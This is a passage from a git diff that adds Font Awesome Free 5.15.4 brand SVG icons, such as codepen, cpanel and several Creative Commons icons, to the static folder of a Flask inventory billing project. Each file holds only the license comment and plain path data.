Flask/static/font-awesome/svgs/brands/codepen.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/codepen.svg new file mode 100644 index 00000000..c8897692 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/codepen.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/codiepie.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/codiepie.svg new file mode 100644 index 00000000..6c9df92a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/codiepie.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 472 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/confluence.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/confluence.svg new file mode 100644 index 00000000..ae6e0ef1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/confluence.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/connectdevelop.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/connectdevelop.svg new file mode 100644 index 00000000..da4b52e6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/connectdevelop.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/contao.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/contao.svg new file mode 100644 index 00000000..4658f8da --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/contao.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cotton-bureau.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cotton-bureau.svg new file mode 100644 index 00000000..d4f9bc00 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cotton-bureau.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cpanel.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cpanel.svg new file mode 100644 index 00000000..cecf2b82 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cpanel.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-by.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-by.svg new file mode 100644 index 00000000..5a8e2385 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-by.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nc-eu.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nc-eu.svg new file mode 100644 index 00000000..1bf14725 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nc-eu.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nc-jp.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nc-jp.svg new file mode 100644 index 00000000..f09d3b54 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nc-jp.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nc.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nc.svg new file mode 100644 index 00000000..2f960a95 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nc.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nd.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nd.svg new file mode 100644 index 00000000..e8861c53 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-nd.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-pd-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-pd-alt.svg new file mode 100644 index 00000000..9dd28cab --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-pd-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-pd.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-pd.svg new file mode 100644 index 00000000..f6fd0181 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-pd.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-remix.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-remix.svg new file mode 100644 index 00000000..1d6b21ec --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-remix.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-sa.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-sa.svg new file mode 100644 index 00000000..3243ae3e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-sa.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-sampling-plus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-sampling-plus.svg new file mode 100644 index 00000000..c84aae97 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/creative-commons-sampling-plus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 